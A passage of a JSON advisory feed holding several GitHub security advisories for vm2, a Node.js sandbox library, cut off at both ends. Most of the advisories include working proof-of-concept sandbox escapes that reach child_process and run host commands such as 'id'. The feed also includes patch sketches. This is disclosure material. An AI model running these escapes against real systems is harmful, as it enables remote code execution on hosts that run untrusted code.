(keyStr.startsWith('nodejs.')) return Symbol(keyStr);\n    return originalSymbolFor(keyStr);\n};\n```\n\n2. **`bridge.js`**: Add check to write traps:\n\n```js\nset(target, key, value, receiver) {\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    // ...\n}\n```\n\n3. **`setup-sandbox.js`**: Sync `isDangerousSymbol`, `Object.getOwnPropertyDescriptors`, `Object.assign` to cover all dangerous symbols.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-29T17:44:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp","https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47135","https://github.com/advisories/GHSA-m5q2-4fm3-vfqp"],"source_kind":"github","identifiers":["GHSA-m5q2-4fm3-vfqp","CVE-2026-47135"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T18:00:08.786Z","updated_at":"2026-10-12T12:03:55.978Z","epss_percentage":0.00442,"epss_percentile":0.36503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNXEyLTRmbTMtdmZxcM4ABXu4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNXEyLTRmbTMtdmZxcM4ABXu4","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.4","vulnerable_version_range":"\u003c= 3.11.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNXEyLTRmbTMtdmZxcM4ABXu4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Nnc3LWo5Y3Etcngyas4ABXu3","url":"https://github.com/advisories/GHSA-76w7-j9cq-rx2j","title":"vm2 is Vulnerable to Sandbox Breakout Through Promise Species","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d \u003e 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nlet ex, ct;\nclass FakePromise extends Promise {\n\tstatic get [Symbol.species](){return ct;}\n}\nfunction doCatch(f) {\n\tex=undefined;\n\tconst p=Promise.withResolvers();\n\tct = function(e){e(f, v=\u003e{ex=v;p.resolve();})};\n\tnew FakePromise(r=\u003er());\n\treturn p.promise;\n}\n(async function f(s) {\n\tlet min = s;\n\tlet max = 100000;\n\twhile (min\u003cmax) {\n\t\tconst mid = (min+max)\u003e\u003e1;\n\t\tawait doCatch(()=\u003eso(mid));\n\t\tif (ex.name===\"RangeError\" \u0026\u0026 !(ex instanceof RangeError)) {\n\t\t\tex.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t\t\treturn;\n\t\t}\n\t\tif (ex instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n\tf(s+1);\n})(0);\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-29T17:40:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j","https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47208","https://github.com/advisories/GHSA-76w7-j9cq-rx2j"],"source_kind":"github","identifiers":["GHSA-76w7-j9cq-rx2j","CVE-2026-47208"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T18:00:08.786Z","updated_at":"2026-10-16T06:03:10.741Z","epss_percentage":0.00825,"epss_percentile":0.56545,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Nnc3LWo5Y3Etcngyas4ABXu3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Nnc3LWo5Y3Etcngyas4ABXu3","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.4","vulnerable_version_range":"\u003c= 3.11.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Nnc3LWo5Y3Etcngyas4ABXu3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xM2ZtLTR3Y3ctZzU3eM4ABXu2","url":"https://github.com/advisories/GHSA-q3fm-4wcw-g57x","title":"vm2 setup-sandbox.js violates Defense Invariant #11 in stack-trace formatter","description":"## Summary\n\n`defaultSandboxPrepareStackTrace` in `lib/setup-sandbox.js` (lines 605, 607) appends to a fresh sandbox-realm `lines = []` via `lines[lines.length] = value`. This is the exact invariant-violating pattern that GHSA-9qj6-qjgg-37qq (commit ca195f0, 2026-05-01) just patched in `neutralizeArraySpeciesBatch` and codified as Defense Invariant #11 (\"Bridge-internal containers must not invoke sandbox code\"). A sandbox-installed `Array.prototype[N]` setter fires during the bridge's safe-default stack-trace formatting and observes / intercepts each appended line.\n\n## Details\n\nThe post-9qj6 audit note in `docs/ATTACKS.md` (line 2111) states:\n\n\u003e Equivalent pattern elsewhere in the bridge: audited; thisFromOtherArguments, otherFromThisArguments, and every other index-write site already use thisReflectDefineProperty or otherReflectDefineProperty. neutralizeArraySpeciesBatch was the lone outlier.\n\nThe audit is scoped to `lib/bridge.js`. `lib/setup-sandbox.js` was not covered. `defaultSandboxPrepareStackTrace` (added under post-#563 hardening for GHSA-v27g) constructs a sandbox-realm `[header]` array and appends each frame via the prototype-walking index assignment:\n\n```\n// lib/setup-sandbox.js, lines 601-610\nconst lines = [header];\nfor (let i = 0; i \u003c callSites.length; i++) {\n    try {\n        lines[lines.length] = '    at ' + callSites[i];\n    } catch (e) {\n        lines[lines.length] = '    at \u003cerror formatting frame\u003e';\n    }\n}\nreturn lines.join('\\n');\n```\n\nThis function runs every time sandbox code reads `error.stack` (or any path that triggers `Error.prepareStackTrace`). At the time it runs, user code has already had the opportunity to install a setter on `Array.prototype[N]`. Because `lines` starts at length 1, the first iteration writes index 1; if `lines[1]` has no own data property, V8 walks the prototype chain and invokes the sandbox-controlled setter.\n\nThe currently-assigned value is the string `'    at ' + callSites[i]` (the wrapped `CallSite` class's safe `toString()` returns `'CallSite {}'`), which limits the immediate impact to a side channel, not an RCE pivot. The concern is structural rather than exploit-today:\n\n- The just-codified Defense Invariant #11 explicitly requires that any list, set, or map allocated for the bridge's exclusive use must read and write through identity-stable, prototype-bypassing primitives. This site does not.\n- The `catch` branch at line 607 also uses the same pattern, so a sandbox getter that throws on `callSites[i]` access still routes its retry write through the prototype chain.\n- A future change that makes the appended slot value an object holding a host-realm reference (for example, an enriched frame record) would re-introduce the exact GHSA-9qj6 attack shape against this codepath.\n\nThe fix is mechanical and mirrors the GHSA-9qj6 patch: install entries via `localReflectDefineProperty` so each appended slot is an own data property and the prototype-chain setter is bypassed.\n\n```javascript\n// Suggested patch (sketch)\nlet linesLen = 1;\nfunction append(s) {\n    localReflectDefineProperty(lines, linesLen, {\n        __proto__: null,\n        value: s,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n    });\n    linesLen++;\n}\nfor (let i = 0; i \u003c callSites.length; i++) {\n    try {\n        append('    at ' + callSites[i]);\n    } catch (e) {\n        append('    at \u003cerror formatting frame\u003e');\n    }\n}\n```\n\nThe same pattern at `callSiteGetters[callSiteGetters.length] = {...}` (line 649) runs only at sandbox setup, before user code can install setters, so it is safe today. Converting it for symmetry would be cheap and forward-compatible.\n\n## PoC\n\nvm2 v3.11.2, Node v24.\n\n```javascript\nconst { VM } = require('vm2');\nconst result = new VM().run(`\n    var observed = { setterFired: false, capturedValue: null, indexFired: null };\n    Object.defineProperty(Array.prototype, 1, {\n        configurable: true,\n        set(value) {\n            observed.setterFired = true;\n            observed.indexFired = 1;\n            observed.capturedValue =\n                typeof value === 'string' ? value.slice(0, 40) : typeof value;\n        },\n        get() { return undefined; }\n    });\n    var e = new Error('x');\n    e.stack;\n    observed;\n`);\nconsole.log(result);\n// {\n//   setterFired: true,\n//   capturedValue: '    at CallSite {}',\n//   indexFired: 1\n// }\n```\n\nSandbox code observed and intercepted the bridge-internal write to `lines[1]`. Repeating the PoC with the setter installed at multiple indices (0, 1, 2, ...) captures every frame the formatter would otherwise return.\n\n## Impact\n\nHardening / Defense Invariant #11 violation. No direct sandbox escape on the current codebase: the value passed to the setter is a primitive string after the wrapped `CallSite.toString()`, so attacker-controlled code does not gain a host-realm reference from the setter argument alone. The GHSA-9qj6 entry's \"Considered Attack Surfaces\" note states the audit covered `lib/bridge.js` index-write sites; this filing reports the equivalent pattern in `lib/setup-sandbox.js` so the invariant is uniform across the bridge boundary and future enrichments of the appended record cannot regress into the GHSA-9qj6 shape.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-05-29T17:38:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-q3fm-4wcw-g57x","https://github.com/patriksimek/vm2/commit/ad31adc1fc4a2c163f2f8c11ab4af206074528fd","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://github.com/advisories/GHSA-q3fm-4wcw-g57x"],"source_kind":"github","identifiers":["GHSA-q3fm-4wcw-g57x"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T18:00:08.786Z","updated_at":"2026-10-12T12:03:55.979Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xM2ZtLTR3Y3ctZzU3eM4ABXu2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xM2ZtLTR3Y3ctZzU3eM4ABXu2","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.4","vulnerable_version_range":"\u003c= 3.11.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xM2ZtLTR3Y3ctZzU3eM4ABXu2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Nm14LW1mNDctcjV3Z84ABXu1","url":"https://github.com/advisories/GHSA-v6mx-mf47-r5wg","title":"vm2 has a Sandbox Escape issue","description":"### Summary\nBy combining `Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\")`, `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox.\nThis allows attackers to run arbitrary code.\n\n### PoC\n```js\n\"use strict\";\n\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\nvm.run(`\n  \"use strict\";\n\n  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n\n  async function f() {\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      setProto.call(getProto.call(e), null);\n    }\n\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      const HostFunction = e.constructor.constructor;\n      new HostFunction(\"return process\")().mainModule.require(\"child_process\").execSync(\"echo pwned\", { stdio: \"inherit\" });\n    }\n  }\n\n  f();\n`);\n```\n\n### Impact\nSandbox Escape → RCE","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-29T17:33:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg","https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47131","https://github.com/advisories/GHSA-v6mx-mf47-r5wg"],"source_kind":"github","identifiers":["GHSA-v6mx-mf47-r5wg","CVE-2026-47131"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T18:00:08.786Z","updated_at":"2026-10-12T12:03:55.980Z","epss_percentage":0.00649,"epss_percentile":0.49519,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Nm14LW1mNDctcjV3Z84ABXu1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Nm14LW1mNDctcjV3Z84ABXu1","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.4","vulnerable_version_range":"\u003c= 3.11.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Nm14LW1mNDctcjV3Z84ABXu1/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNDhyLTdoN3EtY3IyNM4ABW5f","url":"https://github.com/advisories/GHSA-248r-7h7q-cr24","title":"vm2 Has a Sandbox Breakout Using Async Generator","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIt is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d \u003e 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nasync function* helper() {\n\tyield* {\n\t\t[Symbol.asyncIterator]: ()=\u003e({\n\t\t\tnext: v=\u003e({value: v, done: false})\n\t\t})\n\t};\n}\nasync function doCatch(f) {\n\tconst i=helper();\n\tawait i.next();\n\tconst v = await i.return({then(r){f();r();}});\n\treturn v.value;\n}\n(async function f() {\n\tlet min = 0;\n\tlet max = 10000000;\n\twhile (min\u003cmax) {\n\t\tconst mid = (min+max)\u003e\u003e1;\n\t\tconst e = await doCatch(()=\u003eso(mid));\n\t\tif (e.name===\"RangeError\" \u0026\u0026 !(e instanceof RangeError)) {\n\t\t\te.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t\t\treturn;\n\t\t}\n\t\tif (e instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n})();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-14T21:14:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24","https://nvd.nist.gov/vuln/detail/CVE-2026-45411","https://github.com/patriksimek/vm2/commit/093494c0c3ef2390d2e56909f9d56e290e6f18b0","https://github.com/patriksimek/vm2/releases/tag/v3.11.3","https://github.com/advisories/GHSA-248r-7h7q-cr24"],"source_kind":"github","identifiers":["GHSA-248r-7h7q-cr24","CVE-2026-45411"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-14T22:00:17.670Z","updated_at":"2026-10-12T12:04:21.946Z","epss_percentage":0.00901,"epss_percentile":0.58512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNDhyLTdoN3EtY3IyNM4ABW5f","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNDhyLTdoN3EtY3IyNM4ABW5f","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.3","vulnerable_version_range":"\u003c= 3.11.2"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNDhyLTdoN3EtY3IyNM4ABW5f/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yY20yLW0zdzUtZ3AyZs4ABWfF","url":"https://github.com/advisories/GHSA-2cm2-m3w5-gp2f","title":"vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`","description":"### Summary\n\nhttps://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.\n\n### Details\n\nIt is still possible to get access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']\n`));\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-08T16:22:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f","https://github.com/patriksimek/vm2/releases/tag/v3.11.2","https://github.com/advisories/GHSA-2cm2-m3w5-gp2f"],"source_kind":"github","identifiers":["GHSA-2cm2-m3w5-gp2f"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-08T17:00:08.543Z","updated_at":"2026-10-12T12:04:46.305Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY20yLW0zdzUtZ3AyZs4ABWfF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yY20yLW0zdzUtZ3AyZs4ABWfF","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.2","vulnerable_version_range":"\u003c 3.11.2"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY20yLW0zdzUtZ3AyZs4ABWfF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05dmczLTRyZmotd2djbc4ABWfE","url":"https://github.com/advisories/GHSA-9vg3-4rfj-wgcm","title":"vm2 has Sandbox Breakout Through Null Proto Exception","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIn `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst o = {__proto__: null};\ntry {\n\tthrow o;\n} catch (e) {\n\te.f = Buffer.prototype.inspect\n\to.f.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n}\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-08T16:20:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm","https://github.com/patriksimek/vm2/releases/tag/v3.11.2","https://nvd.nist.gov/vuln/detail/CVE-2026-44009","https://github.com/advisories/GHSA-9vg3-4rfj-wgcm"],"source_kind":"github","identifiers":["GHSA-9vg3-4rfj-wgcm","CVE-2026-44009"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-08T17:00:08.544Z","updated_at":"2026-10-16T06:03:37.622Z","epss_percentage":0.00709,"epss_percentile":0.52518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05dmczLTRyZmotd2djbc4ABWfE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05dmczLTRyZmotd2djbc4ABWfE","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.2","vulnerable_version_range":"\u003c 3.11.2"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05dmczLTRyZmotd2djbc4ABWfE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05cWo2LXFqZ2ctMzdxcc4ABWfD","url":"https://github.com/advisories/GHSA-9qj6-qjgg-37qq","title":"vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst a = [];\nObject.defineProperty(Array.prototype, 0, {\n\tset(value) {\n\t\ta.f = Buffer.prototype.inspect;\n\t\tvalue.arr.f.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t}\n});\nnew Buffer(a);\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-08T15:58:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq","https://github.com/patriksimek/vm2/releases/tag/v3.11.2","https://nvd.nist.gov/vuln/detail/CVE-2026-44008","https://github.com/advisories/GHSA-9qj6-qjgg-37qq"],"source_kind":"github","identifiers":["GHSA-9qj6-qjgg-37qq","CVE-2026-44008"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-08T16:00:08.059Z","updated_at":"2026-10-12T12:04:46.306Z","epss_percentage":0.00901,"epss_percentile":0.58512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cWo2LXFqZ2ctMzdxcc4ABWfD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cWo2LXFqZ2ctMzdxcc4ABWfD","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.2","vulnerable_version_range":"\u003c= 3.11.1"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cWo2LXFqZ2ctMzdxcc4ABWfD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04aGc4LTYzYzUtZ3dteM4ABWYS","url":"https://github.com/advisories/GHSA-8hg8-63c5-gwmx","title":"vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution","description":"### Summary\n\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\n\n### Details\n\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\n\n**`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\n\n```js\nconst NESTING_OVERRIDE = Object.freeze({\n  __proto__: null,\n  vm2: vm2NestingLoader\n});\n```\n\n**`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options:\n\n```js\nconst customResolver = requireOpts instanceof Resolver;\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\n  requireOpts,\n  nesting \u0026\u0026 NESTING_OVERRIDE,  // ← injected when nesting:true\n  this._compiler\n);\n```\n\n**`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\n\n```js\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\n  if (!options) {\n    if (!override) return DENY_RESOLVER;  // require:false, no nesting → deny all\n    // BUG: require:false + nesting:true reaches here\n    // override (NESTING_OVERRIDE) is applied, making vm2 available\n    const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\n    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable\n  }\n  // ...\n}\n```\n\n**`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\n\n```js\nif (overrides) {\n  const keys = Object.getOwnPropertyNames(overrides);\n  for (const key of keys) {\n    res.set(key, overrides[key]);  // vm2 always injected when nesting:true\n  }\n}\n```\n\nThe result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`.\n\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\n\n### PoC\n\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\n\n```js\nconst { NodeVM } = require('vm2');\n\n// Host intends: nesting enabled, but require completely disabled\nconst vm = new NodeVM({ nesting: true, require: false });\n\nconst result = vm.run(`\n  // Step 1: require('vm2') succeeds despite require:false on the outer VM\n  const { NodeVM: NVM } = require('vm2');\n\n  // Step 2: create an inner NodeVM with attacker-chosen require config\n  // This inner VM has no relation to the outer VM's restrictions\n  const inner = new NVM({ require: { builtin: ['child_process'] } });\n\n  // Step 3: execute arbitrary OS command in the inner VM\n  module.exports = inner.run(\n    'module.exports = require(\"child_process\").execSync(\"id\").toString()'\n  );\n`);\n\nconsole.log(result);\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\n```\n\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\n```\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\n```\n\nThe variant with `require: false` also works — the outer VM's require setting has no effect:\n\n```js\nnew NodeVM({ nesting: true, require: false }).run(`\n  const { NodeVM: NVM } = require('vm2');\n  module.exports = new NVM({ require: { builtin: ['child_process'] } })\n    .run('module.exports = require(\"child_process\").execSync(\"id\").toString()');\n`);\n// uid=1000(akshat) ...\n```\n\nNarrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled.\n\n### Impact\n\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\n\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\n\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access.\n\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass 